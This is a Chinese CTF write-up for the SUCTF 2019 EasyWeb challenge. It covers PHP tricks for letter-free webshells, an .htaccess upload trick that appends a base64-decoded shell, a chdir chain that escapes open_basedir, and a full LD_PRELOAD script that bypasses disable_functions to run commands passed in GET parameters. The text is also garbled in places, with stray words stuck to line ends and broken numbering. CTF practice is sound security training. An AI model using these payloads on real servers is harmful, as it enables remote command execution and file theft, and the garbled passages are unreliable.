刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

[TOC]php

刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

题目复现连接:https://buuoj.cn/challenges 参考连接:SUCTF-2019 2019 SUCTF Web writeup 2019-SUCTF-web记录html

1、涉及知识点

一、无数字字母shell

先贴大佬的连接: 一些不包含数字和字母的webshell 无字母数字webshell之提升篇 一道题回顾php异或webshellgit

这个方面充满了奇技淫巧,看的我一愣一愣,先说利用的php特性:github

(1)代码中没有引号的字符都自动做为字符串

Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动做为字符串,7.2开始提出要被废弃,不过目前还存在着。web

我猜这也是为何传马的时候$_GET['cmd']$_GET[cmd]均可以shell

(2)Ascii码大于 0x7F 的字符都会被看成字符串

(3)php 在获取 HTTP GET 参数的时候默认是得到到了字符串类型

(4)PHP中的的大括号(花括号{})使用详解

$str{4}在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理数组

${_GET}{cmd}app

57)字符串能够用!操做符来进行布尔类型的转换

<?php
var_dump(@a);   //string(1) "a"
var_dump(!@a);  //bool(false)
var_dump(!!@a); //bool(true)

(6)PHP的弱类型特性

由于要获取'和'{2},就必须有数字2。而PHP因为弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2函数

(7)a-zA-Z使用自增变成下一个字母

'a'++ => 'b''b'++ => 'c'ui

二、利用.htaccess上传文件

<?被过滤时,用伪协议绕过,上传时上传base64编码过的文件

AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

三、绕过open_basedir/disable_function的几种方法

(1)chdir绕过

bypass open_basedir的新方法 经过chdir来bypass open_basedir

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

(2)连接文件绕过

php5全版本绕过open_basedir读文件脚本 本题中php版本较高,此方法无效

(3)disable_function绕过--利用LD_PRELOAD

很厉害的东西,我看傻了都 无需sendmail:巧用LD_PRELOAD突破disable_functions disable_function绕过--利用LD_PRELOAD bypass_disablefunc_via_LD_PRELOAD

条件:PHP 支持putenv()和下面用到的函数

贴上关键脚本

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    //error_log("err",1,"","");
    //$img = Imagick("1.mp4");//若是有ImageMagick这个扩展(文件必须存在)
    //imap_mail("","","");//须要安装imap拓展
    //mb_send_mail("","","");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

(4)fpm 绕过

还没解出来,有空再更

相关文章
相关标签/搜索